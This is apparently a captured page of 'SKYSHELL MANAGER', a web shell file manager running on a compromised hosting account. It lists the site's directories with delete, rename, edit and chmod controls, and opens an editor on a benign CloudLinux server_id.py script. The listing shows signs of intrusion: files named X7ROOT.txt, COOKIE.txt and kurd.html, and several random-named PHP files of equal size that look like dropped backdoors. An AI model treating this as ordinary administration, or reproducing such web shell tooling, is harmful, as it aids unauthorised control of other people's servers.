📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: server_id.py
# coding=utf-8 # # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT from uuid import uuid4 from clcommon.clconfpars import change_settings, load from lvestats.lib import config, lveinfolib from lvestats.orm.history import history, history_x60 from lvestats.orm.history_gov import history_gov from lvestats.orm.incident import incident from lvestats.orm.servers import servers from lvestats.orm.user import user class UpdateOrCreateServerID(object): """Change old-style server ID 'localhost' to auto-generated uuid User can set his own server ID """ restricted_server_id_list = ('localhost',) server_id_length = 10 def __init__(self, engine, config_path=None): """ :type engine: sqlalchemy.engine.base.Engine :type config_path: Union[str, None] """ self.engine = engine self.config_path = config_path or config.GLOBAL_CONFIG_LOCATION def _get_current_server_id_cfg(self): """ :rtype: Union[None, str] """ try: cfg = load(path=self.config_path) return cfg.get('server_id') except Exception as e: print(f'Error: {e}') return None def _set_server_id_cfg(self, server_id): """Sets option 'server_id' in config file :type server_id: str :rtype: Union[None, str] """ try: change_settings({'server_id': server_id}, self.config_path) return server_id except Exception as e: print(f'Error: {e}') return None def _update_server_id_table(self, conn, table, current_server_id, new_server_id): """ updates server_id in one of the tables :type conn: sqlalchemy.engine.base.Connection :type table: Union[history, history_gov, incident, user, history_x60] :type current_server_id: str :type new_server_id: str """ sql_update = table.__table__.update().where( table.server_id == current_server_id ) conn.execute(sql_update.values( {'server_id': new_server_id} )) def _update_server_id_db(self, current_server_id, new_server_id): """ updates server_id for all tables in the database :type current_server_id: str :type new_server_id: str :rtype: Union[None, str] """ sql_tables = [history, history_gov, incident, user, history_x60] lve_version = lveinfolib.get_lve_version(self.engine, current_server_id) conn = self.engine.connect() tx = conn.begin() try: for table in sql_tables: self._update_server_id_table(conn, table, current_server_id, new_server_id) # update servers table, where server_id is a primary key conn.execute(servers.__table__.insert().values( {'server_id': new_server_id, "lve_version": lve_version} )) conn.execute(servers.__table__.delete().where(servers.server_id == current_server_id)) except Exception as e: tx.rollback() conn.close() print(f'Error: {e}') return None else: tx.commit() conn.close() return new_server_id def _resolve_localhost(self, prompt=True, current_server_id=None): """ :type current_server_id: Union[None, str] :type prompt: bool :rtype: Union[None, str] """ server_id = str(uuid4())[:self.server_id_length] if prompt: res = input(f"Enter new server ID ['{server_id}']: ") print(res) if res: server_id = res.strip() if server_id in self.restricted_server_id_list: print(f"Server ID cannot be '{server_id}'") return None if server_id == current_server_id: print(f"Server ID is already set to '{server_id}'") return server_id if len(server_id) > 255: print("Server ID length should be less than 255") return None cur_server_id = self._get_current_server_id_cfg() if cur_server_id is not None and not prompt and \ cur_server_id not in self.restricted_server_id_list: return cur_server_id if self._update_server_id_db(current_server_id or cur_server_id or 'localhost', server_id): return self._set_server_id_cfg(server_id) return server_id def prompt(self): """ :rtype: Union[None, str] """ cur_cfg_server_id = self._get_current_server_id_cfg() # if server ID = 'localhost' if isinstance(cur_cfg_server_id, str) and \ cur_cfg_server_id.strip() in self.restricted_server_id_list: print(f"Server ID cannot be '{cur_cfg_server_id}'") return self._resolve_localhost(current_server_id=cur_cfg_server_id) def auto(self): """ :rtype: Union[None, str] """ return self._resolve_localhost(prompt=False)
Save